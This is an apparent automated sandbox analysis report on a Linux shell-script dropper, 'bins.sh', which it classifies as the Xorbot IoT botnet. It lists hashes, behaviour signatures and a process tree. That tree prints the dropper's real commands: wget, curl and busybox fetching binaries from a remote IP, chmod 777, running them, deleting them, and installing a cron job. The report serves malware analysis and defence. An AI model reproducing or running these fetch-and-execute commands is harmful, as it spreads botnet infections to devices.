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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/01/2025, 15:53

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b3fcb287f632cd257fa4b518cf1fb640

  • SHA1

    8e270fe99fa3e1c4f94ae51107c6dc894db60f89

  • SHA256

    57545f08d7ee15313ab9b7fb5b5326b9e7ad54dc283697e518acc1704e0a402d

  • SHA512

    3bb66a53654a351e107ea8ba788bd7d0de56878cf763604ab2dd564085a084c946a9ce3b0c2f3124c577a99733fb7d3bd20d42c49b1af6f9c8e6c5f356a84994

  • SSDEEP

    192:WvFvRvP44Jq6BDHXbPAe31enDnD+mBjDnD+mgXvFvRvP445XbPAe3Be:W9JFqsD7FeJ8X9JJ0

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1974) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Writes file to tmp directory
          PID:652
        • /usr/bin/curl
          curl -O http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:662
        • /bin/busybox
          /bin/busybox wget http://146.19.162.73/bins/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Writes file to tmp directory
          PID:671
        • /bin/chmod
          chmod 777 1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • File and Directory Permissions Modification
          PID:674
        • /tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          ./1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
          • Executes dropped EXE
          PID:675
        • /bin/rm
          rm 1gHOS8UznhmqmtG89WWocg772ttVbMupKA
          2⤵
            PID:678
          • /usr/bin/wget
            wget http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Writes file to tmp directory
            PID:679
          • /usr/bin/curl
            curl -O http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:681
          • /bin/busybox
            /bin/busybox wget http://146.19.162.73/bins/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Writes file to tmp directory
            PID:682
          • /bin/chmod
            chmod 777 2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • File and Directory Permissions Modification
            PID:683
          • /tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            ./2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
            • Executes dropped EXE
            PID:684
          • /bin/rm
            rm 2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3
            2⤵
              PID:686
            • /usr/bin/wget
              wget http://146.19.162.73/bins/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • Writes file to tmp directory
              PID:687
            • /usr/bin/curl
              curl -O http://146.19.162.73/bins/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:688
            • /bin/busybox
              /bin/busybox wget http://146.19.162.73/bins/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • Writes file to tmp directory
              PID:693
            • /bin/chmod
              chmod 777 uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • File and Directory Permissions Modification
              PID:696
            • /tmp/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              ./uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
              • Executes dropped EXE
              PID:697
            • /bin/rm
              rm uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR
              2⤵
                PID:700
              • /usr/bin/wget
                wget http://146.19.162.73/bins/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • Writes file to tmp directory
                PID:701
              • /usr/bin/curl
                curl -O http://146.19.162.73/bins/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:706
              • /bin/busybox
                /bin/busybox wget http://146.19.162.73/bins/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • Writes file to tmp directory
                PID:712
              • /bin/chmod
                chmod 777 TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • File and Directory Permissions Modification
                PID:715
              • /tmp/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                ./TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:716
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:718
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:719
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:722
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:723
                    • /bin/rm
                      rm TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k
                      2⤵
                        PID:737
                      • /usr/bin/wget
                        wget http://146.19.162.73/bins/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                        2⤵
                          PID:740
                        • /usr/bin/curl
                          curl -O http://146.19.162.73/bins/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          PID:744
                        • /bin/busybox
                          /bin/busybox wget http://146.19.162.73/bins/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                          2⤵
                          • Writes file to tmp directory
                          PID:748
                        • /bin/chmod
                          chmod 777 PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                          2⤵
                          • File and Directory Permissions Modification
                          PID:832
                        • /tmp/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                          ./PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                          2⤵
                          • Executes dropped EXE
                          PID:834
                        • /bin/rm
                          rm PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL
                          2⤵
                            PID:837
                          • /usr/bin/wget
                            wget http://146.19.162.73/bins/HVm5nCTtHV28bDYQUafSwDixpDn5R2m9EU
                            2⤵
                              PID:838

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/1gHOS8UznhmqmtG89WWocg772ttVbMupKA

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /tmp/2pkN06dQPqJ5ybT2oaPBCl03jjS3gu0Ml3

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/PTuAJHcxXi1yPYNi8xZjlOtZ08nF2XIxTL

                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          • /tmp/TMBmQxHsDgmPYgiRBKP3J7xxCzttC6Uw3k

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/uINrc3yzamKkR8WG4Pfv3Ss3AUy9i8lwhR

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /var/spool/cron/crontabs/tmp.YMaYFY

                            Filesize

                            210B

                            MD5

                            cd396791bd9043c24813442387646580

                            SHA1

                            8d98506b0b091efd9e4d21088ac4073ac91d47d3

                            SHA256

                            873bb1ead20a5b8860bc5b48160955fb84c9edb20218bdb647d7a006af35cc45

                            SHA512

                            87ec545047bfb56caaff582d3a498425f53272baf68c32319a9c24a18eb3b5060b886734861a70b8319585cedcf648db9cd43c7c69fe57a13c87eefdba340312